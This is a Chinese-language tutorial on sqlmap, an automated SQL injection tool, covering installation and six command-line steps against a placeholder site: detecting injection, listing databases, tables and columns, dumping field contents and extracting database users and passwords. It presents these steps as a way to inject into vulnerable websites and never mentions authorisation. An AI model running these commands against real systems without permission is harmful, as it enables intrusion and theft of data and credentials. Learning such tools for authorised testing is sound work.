通常來說,驗證一個頁面是否存在注入漏洞比較簡單,而要獲取數據,擴大權限,則要輸入很復雜的SQL語句,有時候我們還會對大量的URL進行測試,這時就需要用到工具來幫助我們進行注入了。
目前流行的注入工具有sqlmap,pangolin,還有國產工具例如阿d,明小子,超級SQL注入這些工具。這些工具的功能都大同小異。
什么是sqlmap
sqlmap是用python寫的一個注入工具,在所有注入工具中排名第一,今天主要介紹一下sqlmap的使用。
sqlmap的強大功能包括數據庫指紋識別,數據庫枚舉,數據提取,訪問目標文件系統,可以在獲取完全的操作權限時實行任意命令。
sqlmap的安裝
sqlmap是一個命令行下的工具,且安裝需要python環境(只支持python2),因此我們需要先下載python環境,並添加到環境變量中。
然后下載最新版的sqlmap(官網http://www.sqlmap.org)需要下載到Python的目錄下,然后打開命令行,便可正常使用。
sqlmap入門
1.判斷是否存在注入
目標注入點為http://xxx.com/index.php?id=1這種傳入參數的命令為 sqlmap.py -u http://xxx.com/index.php?id=1 便可以自動進行檢測,另外如果傳入的參數有大於等於兩個時,需要將URL使用雙引號括起來。
除了直接檢測URL外,sqlmap還可以從文本中獲取HTTP請求,所以我們可以用burpsuit將HTTP請求抓包,然后保存到本地為TXT文件,然后使用sqlmap來進行測試,具體命令為sqlmap -r 文件路徑和文件名,
這種一般用來檢測post注入和HTTP頭注入。
2.查詢當前用戶下的所有數據庫
sqlmap.py -u http://xxx.com/index.php?id=1 --dbs
3.獲取數據庫的表名
sqlmap.py -u http://xxx.com/index.php?id=1 -D 數據庫名 --tables
這個命令可以查詢指定數據庫中的所有表名。
4.獲取表中的字段名
sqlmap.py -u http://xxx.com/index.php?id=1 -D 數據庫名 -T 表名 --columns
5.獲取字段的內容
sqlmap.py -u http://xxx.com/index.php?id=1 -D 數據庫名 -T 表名 -C 字段名 --dump
6.獲取數據庫的所有用戶和用戶的密碼
sqlmap.py -u http://xxx.com/index.php?id=1” --users
sqlmap.py -u http://xxx.com/index.php?id=1” --passwords
一般學會了這六個步驟,便可以用sqlmap對存在注入漏洞的網站進行注入。